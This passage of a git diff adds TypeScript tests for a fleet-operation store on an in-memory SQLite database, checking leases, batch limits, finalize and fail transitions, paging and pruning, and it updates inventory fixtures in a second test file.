+        expect(db.batchSizes.slice(batchMark)).toHaveLength(1);
+        return refused;
+      },
+    );
+    expect(error.message).toBe(`no fleet operation '${OPERATION_ID}'`);
+  });
+
+  it('commitProgress retains the 99-update batch boundary with scoped target checks', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('migration', async (lease) => {
+      const created = await start(lease, 'migration');
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: Array.from({ length: 99 }, (_, ordinal) =>
+          itemRow('pending', ordinal),
+        ),
+      });
+      const mark = db.batchSizes.length;
+      const bindingMark = db.bindingCounts.length;
+      await lease.commitProgress({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record),
+        updateRows: Array.from({ length: 99 }, (_, ordinal) =>
+          itemRow('active', ordinal),
+        ),
+        expectedRowWatermarks: { item: 99 },
+      });
+      expect(db.batchSizes.slice(mark)).toEqual([100]);
+      expect(
+        Math.max(...db.bindingCounts.slice(bindingMark)),
+      ).toBeLessThanOrEqual(100);
+      const page = await target.readOperationRowsPage({
+        operationId: OPERATION_ID,
+        rowKind: 'item',
+        limit: 100,
+      });
+      expect(page.rows).toEqual(
+        Array.from({ length: 99 }, (_, ordinal) => itemRow('active', ordinal)),
+      );
+    });
+  });
+
+  it('the batch-budget refusal fires with its fixed message (rows + updates + 1 > 100)', async () => {
+    const acceptedDb = new MemoryD1();
+    await store(acceptedDb).withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        const batchMark = acceptedDb.batchSizes.length;
+        const bindingMark = acceptedDb.bindingCounts.length;
+        await lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          rows: Array.from({ length: 99 }, (_, ordinal) => ({
+            rowKind: 'record' as const,
+            ordinal,
+            payload: {
+              chunks: Array.from({ length: 23 }, () => 'x'.repeat(4096)),
+            },
+          })),
+          expectedRowWatermarks: { record: 0 },
+        });
+        expect(acceptedDb.batchSizes.slice(batchMark)).toEqual([100]);
+        expect(acceptedDb.bindingCounts.slice(bindingMark)).toEqual([
+          ...Array.from({ length: 99 }, () => 17),
+          13,
+        ]);
+      },
+    );
+
+    const db = new MemoryD1();
+    const target = store(db);
+    const error = await target.withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        const batchMark = db.batchSizes.length;
+        const rejected = await rejection(
+          lease.commitProgress({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: advanced(created.record),
+            rows: Array.from({ length: 100 }, (_, index) => recordRow(index)),
+          }),
+        );
+        expect(db.batchSizes.slice(batchMark)).toEqual([]);
+        return rejected;
+      },
+    );
+    expect(error.message).toBe(
+      'commitProgress exceeds the operation batch budget of 100 statements',
+    );
+    const persisted = await target.readOperationById(OPERATION_ID);
+    expect(persisted?.state).toBe('running');
+    expect(persisted?.progress.revision).toBe(0);
+  });
+
+  it('finalize total-count guards (audit: finding + record + fact; migration: item)', async () => {
+    const auditDb = new MemoryD1();
+    const audit = await store(auditDb).withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [recordRow(0), findingRow(), factRow()],
+        });
+        for (const expectedRowCounts of [
+          { record: 0, finding: 1, fact: 1 },
+          { record: 1, finding: 0, fact: 1 },
+          { record: 1, finding: 1, fact: 0 },
+        ]) {
+          await expect(
+            lease.finalizeOperation({
+              operationId: OPERATION_ID,
+              expectedRevision: 0,
+              runRecord: advanced(created.record, 'finalized'),
+              expectedRowCounts,
+            }),
+          ).rejects.toThrow(
+            `fleet operation '${OPERATION_ID}' does not match its finalize counts`,
+          );
+        }
+        return lease.finalizeOperation({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record, 'finalized'),
+          expectedRowCounts: { record: 1, finding: 1, fact: 1 },
+        });
+      },
+    );
+    expect(audit.state).toBe('finalized');
+
+    const migrationDb = new MemoryD1();
+    const migration = await store(migrationDb).withAccountOperationLease(
+      'migration',
+      async (lease) => {
+        const created = await start(lease, 'migration');
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [itemRow('pending')],
+        });
+        await expect(
+          lease.finalizeOperation({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: advanced(created.record, 'finalized'),
+            expectedRowCounts: { item: 0 },
+          }),
+        ).rejects.toThrow(
+          `fleet operation '${OPERATION_ID}' does not match its finalize counts`,
+        );
+        return lease.finalizeOperation({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record, 'finalized'),
+          expectedRowCounts: { item: 1 },
+        });
+      },
+    );
+    expect(migration.state).toBe('finalized');
+  });
+
+  it('finalize requireAllItemsComplete SQL check', async () => {
+    const incompleteDb = new MemoryD1();
+    const incomplete = store(incompleteDb);
+    await expect(
+      incomplete.withAccountOperationLease('migration', async (lease) => {
+        const created = await start(lease, 'migration');
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [itemRow('pending')],
+        });
+        return lease.finalizeOperation({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record, 'finalized'),
+          expectedRowCounts: { item: 1 },
+          requireAllItemsComplete: true,
+        });
+      }),
+    ).rejects.toThrow(
+      `fleet operation '${OPERATION_ID}' does not match its finalize counts`,
+    );
+    expect((await incomplete.readOperationById(OPERATION_ID))?.state).toBe(
+      'running',
+    );
+
+    const db = new MemoryD1();
+    const result = await store(db).withAccountOperationLease(
+      'migration',
+      async (lease) => {
+        const created = await start(lease, 'migration');
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [itemRow('complete')],
+        });
+        return lease.finalizeOperation({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record, 'finalized'),
+          expectedRowCounts: { item: 1 },
+          requireAllItemsComplete: true,
+        });
+      },
+    );
+    expect(result.state).toBe('finalized');
+  });
+
+  it('finalize mismatch leaves running', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const error = await target.withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        return rejection(
+          lease.finalizeOperation({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: advanced(created.record, 'finalized'),
+            expectedRowCounts: { finding: 1 },
+          }),
+        );
+      },
+    );
+    expect(error.message).toBe(
+      `fleet operation '${OPERATION_ID}' does not match its finalize counts`,
+    );
+    expect((await target.readOperationById(OPERATION_ID))?.state).toBe(
+      'running',
+    );
+
+    const staleLeaseDb = new MemoryD1();
+    const staleLeaseTarget = store(staleLeaseDb);
+    await expect(
+      staleLeaseTarget.withAccountOperationLease('audit', async (lease) => {
+        const created = await start(lease);
+        await staleLeaseDb.execute(
+          'DELETE FROM anchorage_fleet_operation_leases',
+        );
+        return lease.finalizeOperation({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record, 'finalized'),
+          expectedRowCounts: {},
+        });
+      }),
+    ).rejects.toThrow();
+    expect(
+      (await staleLeaseTarget.readOperationById(OPERATION_ID))?.state,
+    ).toBe('running');
+  });
+
+  it('finalize probe/readback + the head-only repair', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    let input:
+      | Parameters<FleetOperationLease['finalizeOperation']>[0]
+      | undefined;
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record, 'finalized'),
+        expectedRowCounts: {},
+      };
+      db.hideBatchResults = true;
+      await lease.finalizeOperation(input);
+    });
+    db.sqlite
+      .prepare(
+        `UPDATE anchorage_fleet_operation_heads
+          SET active_operation_id = ? WHERE operation_kind = 'audit'`,
+      )
+      .all(OPERATION_ID);
+    await target.withAccountOperationLease('audit', (lease) =>
+      lease.finalizeOperation(
+        input as Parameters<FleetOperationLease['finalizeOperation']>[0],
+      ),
+    );
+    expect(
+      db.sqlite
+        .prepare(
+          `SELECT active_operation_id FROM anchorage_fleet_operation_heads
+            WHERE operation_kind = 'audit'`,
+        )
+        .all()[0]?.active_operation_id,
+    ).toBeNull();
+  });
+
+  it('failOperation commits run-failed + item update + head release + terminalAtMs in ONE batch', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('migration', async (lease) => {
+      const created = await start(lease, 'migration');
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [itemRow('pending')],
+      });
+      const mark = db.batchSizes.length;
+      await lease.failOperation({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record, 'failed'),
+        updateRows: [itemRow('failed')],
+      });
+      expect(db.batchSizes.slice(mark)).toEqual([3]);
+    });
+    const persisted = await target.readOperationById(OPERATION_ID);
+    expect(persisted).toMatchObject({
+      state: 'failed',
+      terminalAtMs: expect.any(Number),
+    });
+    expect((await readRows(target, 'item'))[0]?.payload.status).toBe('failed');
+    expect(
+      db.sqlite
+        .prepare(
+          `SELECT active_operation_id FROM anchorage_fleet_operation_heads
+            WHERE operation_kind = 'migration'`,
+        )
+        .all()[0]?.active_operation_id,
+    ).toBeNull();
+
+    const staleLeaseDb = new MemoryD1();
+    const staleLeaseTarget = store(staleLeaseDb);
+    await expect(
+      staleLeaseTarget.withAccountOperationLease('migration', async (lease) => {
+        const created = await start(lease, 'migration');
+        await staleLeaseDb.execute(
+          'DELETE FROM anchorage_fleet_operation_leases',
+        );
+        return lease.failOperation({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record, 'failed'),
+        });
+      }),
+    ).rejects.toThrow();
+    expect(
+      (await staleLeaseTarget.readOperationById(OPERATION_ID))?.state,
+    ).toBe('running');
+  });
+
+  it('failOperation refuses more than one updateRow with its fixed message and leaves the operation running', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const error = await target.withAccountOperationLease(
+      'migration',
+      async (lease) => {
+        const created = await start(lease, 'migration');
+        const mark = db.batchSizes.length;
+        const rejected = await rejection(
+          lease.failOperation({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: advanced(created.record, 'failed'),
+            updateRows: [itemRow('failed', 0), itemRow('failed', 1)],
+          }),
+        );
+        expect(db.batchSizes.length).toBe(mark);
+        return rejected;
+      },
+    );
+    expect(error.message).toBe(FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE);
+    expect((await target.readOperationById(OPERATION_ID))?.state).toBe(
+      'running',
+    );
+    expect(
+      (await target.readOperationById(OPERATION_ID))?.progress.revision,
+    ).toBe(0);
+  });
+
+  it('failOperation reports a vanished update target as a conflict, as convergence does', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const error = await target.withAccountOperationLease(
+      'migration',
+      async (lease) => {
+        const created = await start(lease, 'migration');
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [itemRow('pending')],
+        });
+        // The item row is deleted between the failure batch and the readback
+        // that verifies it, the one window in which the readback finds the
+        // target gone.
+        db.afterNextBatch = () => {
+          db.sqlite
+            .prepare(
+              `DELETE FROM anchorage_fleet_operation_rows
+                WHERE row_kind = 'item' AND ordinal = 0`,
+            )
+            .all();
+        };
+        return rejection(
+          lease.failOperation({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: advanced(created.record, 'failed'),
+            updateRows: [itemRow('failed')],
+          }),
+        );
+      },
+    );
+    expect(error.message).toBe(
+      `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+    );
+  });
+
+  it('terminal transitions advance the revision (stale-token discriminator)', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const terminal = await seedTerminal(
+      target,
+      'audit',
+      OPERATION_ID,
+      'finalized',
+    );
+    expect(terminal.progress.revision).toBe(1);
+    expect(
+      classifyFleetOperationToken(
+        { version: 1, operationId: OPERATION_ID, revision: 0 },
+        terminal,
+        'audit',
+      ),
+    ).toBe('stale');
+    const failed = await seedTerminal(
+      target,
+      'migration',
+      SECOND_OPERATION_ID,
+      'failed',
+    );
+    expect(failed.progress.revision).toBe(1);
+    await expect(
+      target.withAccountOperationLease('audit', (lease) =>
+        lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          runRecord: advanced(terminal),
+        }),
+      ),
+    ).rejects.toThrow(
+      `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+    );
+  });
+
+  it('rows stay readable on terminal states', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [findingRow()],
+      });
+      await lease.finalizeOperation({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record, 'finalized'),
+        expectedRowCounts: { finding: 1 },
+      });
+    });
+    await expect(
+      target.readOperationRowsPage({
+        operationId: OPERATION_ID,
+        rowKind: 'finding',
+        limit: 10,
+      }),
+    ).resolves.toMatchObject({ rows: [findingRow()], done: true });
+
+    const failedDb = new MemoryD1();
+    const failedTarget = store(failedDb);
+    await failedTarget.withAccountOperationLease('migration', async (lease) => {
+      const created = await start(lease, 'migration');
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [itemRow('pending')],
+      });
+      await lease.failOperation({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record, 'failed'),
+        updateRows: [itemRow('failed')],
+      });
+    });
+    await expect(
+      failedTarget.readOperationRowsPage({
+        operationId: OPERATION_ID,
+        rowKind: 'item',
+        limit: 10,
+      }),
+    ).resolves.toMatchObject({ rows: [itemRow('failed')], done: true });
+  });
+
+  it.each([
+    { rowKind: 'cursor' as FleetOperationRowKind, limit: 1 },
+    { rowKind: 'finding' as const, afterOrdinal: -1, limit: 1 },
+    { rowKind: 'finding' as const, limit: 0 },
+  ])('readOperationRowsPage rejects invalid selectors before schema work (%j)', async (selectors) => {
+    const db = new MemoryD1();
+    await expect(
+      store(db).readOperationRowsPage({
+        operationId: OPERATION_ID,
+        ...selectors,
+      }),
+    ).rejects.toThrow();
+    expect(
+      db.sqlite
+        .prepare("SELECT name FROM sqlite_master WHERE type = 'table'")
+        .all(),
+    ).toEqual([]);
+    expect(db.batchSizes).toEqual([]);
+  });
+
+  it('readOperationRowsPage limit validation + ordinal order + done + payload parse fail-closed', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [findingRow(2), findingRow(0), findingRow(1)],
+      });
+    });
+    for (const limit of [0, 1.5]) {
+      await expect(
+        target.readOperationRowsPage({
+          operationId: OPERATION_ID,
+          rowKind: 'finding',
+          limit,
+        }),
+      ).rejects.toThrow('limit must be an integer of at least 1');
+    }
+    await expect(
+      target.readOperationRowsPage({
+        operationId: OPERATION_ID,
+        rowKind: 'finding',
+        limit: 1001,
+      }),
+    ).resolves.toMatchObject({ done: true });
+    await expect(
+      target.readOperationRowsPage({
+        operationId: OPERATION_ID,
+        rowKind: 'cursor' as FleetOperationRowKind,
+        limit: 1,
+      }),
+    ).rejects.toThrow('rowKind must be one of record, finding, item, fact');
+    for (const afterOrdinal of [-1, 0.5, Number.MAX_SAFE_INTEGER]) {
+      await expect(
+        target.readOperationRowsPage({
+          operationId: OPERATION_ID,
+          rowKind: 'finding',
+          afterOrdinal,
+          limit: 1,
+        }),
+      ).rejects.toThrow(
+        'afterOrdinal must be a non-negative safe integer below Number.MAX_SAFE_INTEGER',
+      );
+    }
+    const first = await target.readOperationRowsPage({
+      operationId: OPERATION_ID,
+      rowKind: 'finding',
+      limit: 2,
+    });
+    expect(first.rows.map((row) => row.ordinal)).toEqual([0, 1]);
+    expect(first.done).toBe(false);
+    expect(
+      await target.readOperationRowsPage({
+        operationId: OPERATION_ID,
+        rowKind: 'finding',
+        afterOrdinal: 1,
+        limit: 2,
+      }),
+    ).toMatchObject({ rows: [{ ordinal: 2 }], done: true });
+    db.sqlite
+      .prepare(
+        `UPDATE anchorage_fleet_operation_rows SET payload = '{'
+          WHERE row_kind = 'finding' AND ordinal = 2`,
+      )
+      .all();
+    await expect(
+      target.readOperationRowsPage({
+        operationId: OPERATION_ID,
+        rowKind: 'finding',
+        afterOrdinal: 1,
+        limit: 2,
+      }),
+    ).rejects.toThrow('fleet operation state is malformed');
+  });
+
+  it('readOperationRowsPage serves the documented 1,000-row page and clamps a larger limit to it', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [findingRow(0)],
+      });
+    });
+    const insert = db.sqlite.prepare(
+      `INSERT INTO anchorage_fleet_operation_rows
+        (account_id, operation_id, row_kind, ordinal, payload)
+        VALUES (?, ?, 'finding', ?, ?)`,
+    );
+    for (let ordinal = 1; ordinal <= 1_000; ordinal += 1) {
+      insert.all(
+        'account-primary',
+        OPERATION_ID,
+        ordinal,
+        JSON.stringify(findingRow(ordinal).payload),
+      );
+    }
+    const full = await target.readOperationRowsPage({
+      operationId: OPERATION_ID,
+      rowKind: 'finding',
+      limit: 1_000,
+    });
+    expect(full.rows).toHaveLength(1_000);
+    expect(full.rows.at(-1)?.ordinal).toBe(999);
+    expect(full.done).toBe(false);
+    const clamped = await target.readOperationRowsPage({
+      operationId: OPERATION_ID,
+      rowKind: 'finding',
+      limit: 5_000,
+    });
+    expect(clamped.rows).toHaveLength(1_000);
+    expect(clamped.done).toBe(false);
+    const rest = await target.readOperationRowsPage({
+      operationId: OPERATION_ID,
+      rowKind: 'finding',
+      afterOrdinal: 999,
+      limit: 5_000,
+    });
+    expect(rest.rows.map((row) => row.ordinal)).toEqual([1_000]);
+    expect(rest.done).toBe(true);
+  });
+
+  it('prune protects the active and the latest finalized operation per kind', async () => {
+    const db = new MemoryD1();
+    const inventory = new FakeInventoryStore();
+    const target = store(db, 'account-primary', inventory);
+    await seedTerminal(target, 'audit', OPERATION_ID, 'failed');
+    await seedTerminal(target, 'audit', SECOND_OPERATION_ID, 'finalized');
+    await seedTerminal(target, 'migration', THIRD_OPERATION_ID, 'failed');
+    await seedTerminal(target, 'migration', FOURTH_OPERATION_ID, 'finalized');
+    await target.withAccountOperationLease('audit', (lease) =>
+      start(lease, 'audit', FIFTH_OPERATION_ID),
+    );
+    await target.withAccountOperationLease('migration', (lease) =>
+      start(lease, 'migration', SIXTH_OPERATION_ID),
+    );
+    expect(
+      await target.pruneFleetOperations({ kind: 'audit', limit: 10 }),
+    ).toEqual({
+      deleted: 1,
+      releasedPins: 1,
+    });
+    expect(await target.readOperationById(OPERATION_ID)).toBeUndefined();
+    expect(await target.readOperationById(SECOND_OPERATION_ID)).toBeDefined();
+    expect(await target.readOperationById(THIRD_OPERATION_ID)).toBeDefined();
+    expect(await target.readOperationById(FOURTH_OPERATION_ID)).toBeDefined();
+    expect(await target.readOperationById(FIFTH_OPERATION_ID)).toBeDefined();
+    expect(await target.readOperationById(SIXTH_OPERATION_ID)).toBeDefined();
+    expect(
+      await target.pruneFleetOperations({ kind: 'migration', limit: 10 }),
+    ).toEqual({ deleted: 1, releasedPins: 0 });
+    expect(await target.readOperationById(THIRD_OPERATION_ID)).toBeUndefined();
+    expect(await target.readOperationById(FOURTH_OPERATION_ID)).toBeDefined();
+    expect(await target.readOperationById(SECOND_OPERATION_ID)).toBeDefined();
+    expect(await target.readOperationById(FIFTH_OPERATION_ID)).toBeDefined();
+  });
+
+  it('prune deletes oldest-first in bounded batches', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    for (const [index, operationId] of [
+      OPERATION_ID,
+      SECOND_OPERATION_ID,
+      THIRD_OPERATION_ID,
+    ].entries()) {
+      await seedTerminal(target, 'migration', operationId, 'failed');
+      db.sqlite
+        .prepare(
+          `UPDATE anchorage_fleet_operations SET terminal_at_ms = ?
+            WHERE operation_id = ?`,
+        )
+        .all(index + 1, operationId);
+    }
+    expect(
+      await target.pruneFleetOperations({ kind: 'migration', limit: 2 }),
+    ).toEqual({
+      deleted: 2,
+      releasedPins: 0,
+    });
+    expect(await target.readOperationById(OPERATION_ID)).toBeUndefined();
+    expect(await target.readOperationById(SECOND_OPERATION_ID)).toBeUndefined();
+    expect(await target.readOperationById(THIRD_OPERATION_ID)).toBeDefined();
+  });
+
+  it('prune releases the audit pin FIRST; the crash window leaves an unpinned terminal operation the next call deletes', async () => {
+    const db = new MemoryD1();
+    const inventory = new FakeInventoryStore();
+    const target = store(db, 'account-primary', inventory);
+    await seedTerminal(target, 'audit', FOURTH_OPERATION_ID, 'failed');
+    await inventory.pinGeneration({
+      generation: 1,
+      pinnedBy: `fleet-audit:${FOURTH_OPERATION_ID}`,
+    });
+    inventory.crashAfterRelease = true;
+    await expect(
+      target.pruneFleetOperations({ kind: 'audit', limit: 1 }),
+    ).rejects.toThrow('crash after pin release');
+    expect(inventory.pins.size).toBe(0);
+    expect(await target.readOperationById(FOURTH_OPERATION_ID)).toBeDefined();
+    expect(
+      await target.pruneFleetOperations({ kind: 'audit', limit: 1 }),
+    ).toEqual({
+      deleted: 1,
+      releasedPins: 1,
+    });
+    expect(await target.readOperationById(FOURTH_OPERATION_ID)).toBeUndefined();
+    expect(inventory.releases).toEqual([
+      `1:fleet-audit:${FOURTH_OPERATION_ID}`,
+      `1:fleet-audit:${FOURTH_OPERATION_ID}`,
+    ]);
+  });
+
+  it('audit prune without inventoryStore throws FleetOperationStoreCapabilityError', async () => {
+    await expect(
+      store(new MemoryD1()).pruneFleetOperations({ kind: 'audit', limit: 1 }),
+    ).rejects.toThrow(FleetOperationStoreCapabilityError);
+  });
+
+  it('finalize and fail refuse a cross-kind operation id at the terminal probe', async () => {
+    const target = store(new MemoryD1());
+    const otherKind = fleetOperationOtherKindMessage(OPERATION_ID);
+    const secondOtherKind = fleetOperationOtherKindMessage(SECOND_OPERATION_ID);
+    await seedTerminal(target, 'migration', OPERATION_ID, 'finalized');
+    await seedTerminal(target, 'migration', SECOND_OPERATION_ID, 'failed');
+
+    await target.withAccountOperationLease('audit', async (lease) => {
+      // Without the kind check the finalize half returns the migration record
+      // as an audit success: its state is 'finalized' and its revision matches.
+      await expect(
+        lease.finalizeOperation({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: runRecord('audit', 1, 'finalized'),
+          expectedRowCounts: {},
+        }),
+      ).rejects.toThrow(otherKind);
+      // Without it the fail half returns normally: state 'failed', revisions
+      // equal, so the audit caller believes it failed its own operation.
+      await expect(
+        lease.failOperation({
+          operationId: SECOND_OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: runRecord('audit', 1, 'failed', SECOND_OPERATION_ID),
+        }),
+      ).rejects.toThrow(secondOtherKind);
+    });
+
+    for (const [operationId, state] of [
+      [OPERATION_ID, 'finalized'],
+      [SECOND_OPERATION_ID, 'failed'],
+    ] as const) {
+      expect(await target.readOperationById(operationId)).toMatchObject({
+        kind: 'migration',
+        state,
+        progress: { revision: 1 },
+      });
+    }
+    const started = await target.withAccountOperationLease(
+      'audit',
+      async (lease) => start(lease, 'audit', THIRD_OPERATION_ID),
+    );
+    expect(started.outcome).toBe('created');
+  });
+
+  it('withAccountOperationLease and pruneFleetOperations refuse an unknown kind with its fixed message', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const message = 'kind must be one of audit, migration';
+    await expect(
+      target.withAccountOperationLease(
+        'bogus' as FleetOperationKind,
+        async () => {
+          throw new Error('callback must not run');
+        },
+      ),
+    ).rejects.toThrow(message);
+    await expect(
+      target.pruneFleetOperations({
+        kind: 'bogus' as FleetOperationKind,
+        limit: 1,
+      }),
+    ).rejects.toThrow(message);
+    // The kind check precedes schema initialization, so the refusal did no I/O
+    // at all: not one table exists.
+    expect(
+      db.sqlite
+        .prepare("SELECT name FROM sqlite_master WHERE type = 'table'")
+        .all(),
+    ).toEqual([]);
+  });
+});
diff --git a/packages/fleet-control/test/fleet.test.ts b/packages/fleet-control/test/fleet.test.ts
index 6ac00605..35eabcc6 100644
--- a/packages/fleet-control/test/fleet.test.ts
+++ b/packages/fleet-control/test/fleet.test.ts
@@ -3,7 +3,10 @@
 import { createHash } from 'node:crypto';
 import { describe, expect, it } from 'vitest';
 import { ActiveRouteAttestationError } from '../src/active-route.js';
-import { canonicalApplicationBindings } from '../src/application-bindings.js';
+import {
+  canonicalApplicationBindings,
+  reserveApplicationR2Resources,
+} from '../src/application-bindings.js';
 import type {
   BridgeMutationPlan,
   BridgeSnapshot,
@@ -49,6 +52,7 @@ import type {
   SeedDeploymentIdentityOptions,
 } from '../src/types.js';
 import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js';
+import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js';
 
 const MAINTENANCE_PUBLIC_KEY =
   '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}';
@@ -742,6 +746,7 @@ function inventoryFor(records: readonly FleetRecord[]): FleetResourceInventory {
     dispatchScriptCount: records.filter(
       (item) => item.backend === 'workers-for-platforms',
     ).length,
+    unavailableR2Jurisdictions: Object.freeze([]),
     scriptRegistrations: records.map((item) => ({
       scriptName: item.scriptName,
       tenantTag: item.tenantTag,
@@ -1096,6 +1101,7 @@ describe('fleet operations', () => {
       inventory: {
         findings: inventory.findings,
         dispatchScriptCount: inventory.dispatchScriptCount,
+        unavailableR2Jurisdictions: Object.freeze([]),
         scriptRegistrations: [
           ...inventory.scriptRegistrations,
           {
@@ -1228,6 +1234,7 @@ describe('fleet operations', () => {
       const inventory: FleetResourceInventory = {
         findings: [],
         dispatchScriptCount: releases.length,
+        unavailableR2Jurisdictions: Object.freeze([]),
         scriptRegistrations: releases.map((candidate) => ({
           scriptName: candidate.physicalScriptName,
           tenantTag: acme.tenantTag,
@@ -1594,6 +1601,7 @@ describe('fleet operations', () => {
     const inventory: FleetResourceInventory = {
       findings: [],
       dispatchScriptCount: 2,
+      unavailableR2Jurisdictions: Object.freeze([]),
       scriptRegistrations: [priorRelease, targetRelease].map((release) => ({
         scriptName: release.physicalScriptName,
         tenantTag: migrating.tenantTag,
@@ -1718,6 +1726,7 @@ describe('fleet operations', () => {
     const inventory: FleetResourceInventory = {
       findings: [],
       dispatchScriptCount: 0,
+      unavailableR2Jurisdictions: Object.freeze([]),
       scriptRegistrations: [],
       deployments: [],
       databaseIds: [],
@@ -1785,6 +1794,7 @@ describe('fleet operations', () => {
     const inventory: FleetResourceInventory = {
       findings: [],
       dispatchScriptCount: 1,
+      unavailableR2Jurisdictions: Object.freeze([]),
       scriptRegistrations: [
         {
           scriptName: active.physicalScriptName,
@@ -1910,6 +1920,7 @@ describe('fleet operations', () => {
         findings: [],
         hostRoutingKvId: 'host-routing-kv',
         dispatchScriptCount: 0,
+        unavailableR2Jurisdictions: Object.freeze([]),
         scriptRegistrations: [],
         deployments: expectsTrustedWorkers
           ? [
@@ -2010,6 +2021,7 @@ describe('fleet operations', () => {
       inventory: {
         findings: [],
         dispatchScriptCount: 0,
+        unavailableR2Jurisdictions: Object.freeze([]),
         scriptRegistrations: [],
         deployments: [],
         databaseIds: [releaseBearing.databaseId],
@@ -2063,6 +2075,7 @@ describe('fleet operations', () => {
       findings: [],
       hostRoutingKvId: 'host-routing-kv',
       dispatchScriptCount: 1,
+      unavailableR2Jurisdictions: Object.freeze([]),
       scriptRegistrations: [
         {
           scriptName: current.scriptName,
@@ -2237,6 +2250,7 @@ describe('fleet operations', () => {
         records: [current],
         inventory: {
           findings: [],
+          unavailableR2Jurisdictions: Object.freeze([]),
           scriptRegistrations: [],
           deployments: [],
           databaseIds: [current.databaseId],
@@ -2259,6 +2273,48 @@ describe('fleet operations', () => {
     }
   });
 
+  it('uses effective decommission phases for fleet and R2 expectations', async () => {
+    for (const phase of [
+      'ready',
+      'worker-deleted',
+      'platform-resources-deleted',
+      'application-resources-deleted',
+      'database-exported',
+    ] as const) {
+      const legacy: FleetRecord = {
+        ...record(`effective-${phase}`),
+        phase,
+        applicationResources: [
+          {
+            name: 'FILES',
+            bucketName: `effective-${phase}-bucket`,
+            jurisdiction: 'default',
+            state: 'created',
+            reservationNonce: 'a'.repeat(32),
+            creationDate: '2026-08-11T00:00:00.000Z',
+          },
+        ],
+      };
+      const inventory = inventoryFor([legacy]);
+      const audit = (current: FleetRecord) =>
+        auditFleetDrift({
+          store: storeFor([current]),
+          records: [current],
+          inventory,
+          backendFor: () => new FleetBackend(current.backend),
+          specFor: () => spec(legacy),
+          maintenanceSecretFor: () => 'maintenance-admin-secret-value-00001',
+          staleAfterMs: 1_000,
+          now: 10_000,
+        });
+
+      expect(
+        await audit(decommissionAdvancingRecordFixture(legacy, phase)),
+        phase,
+      ).toEqual(await audit(legacy));
+    }
+  });
+
   it('preserves collection findings and applies publishing and database-deleting ownership semantics', async () => {
     const publishingBase = record('publishing');
     const publishing = {
@@ -2405,6 +2461,254 @@ describe('fleet operations', () => {
     expect(backend.calls).toContain('inspect:healthy');
   });
 
+  it('suppresses drift findings in both directions for a deployment under active bounded cleanup', async () => {
+    const cleaningBase = record('acme');
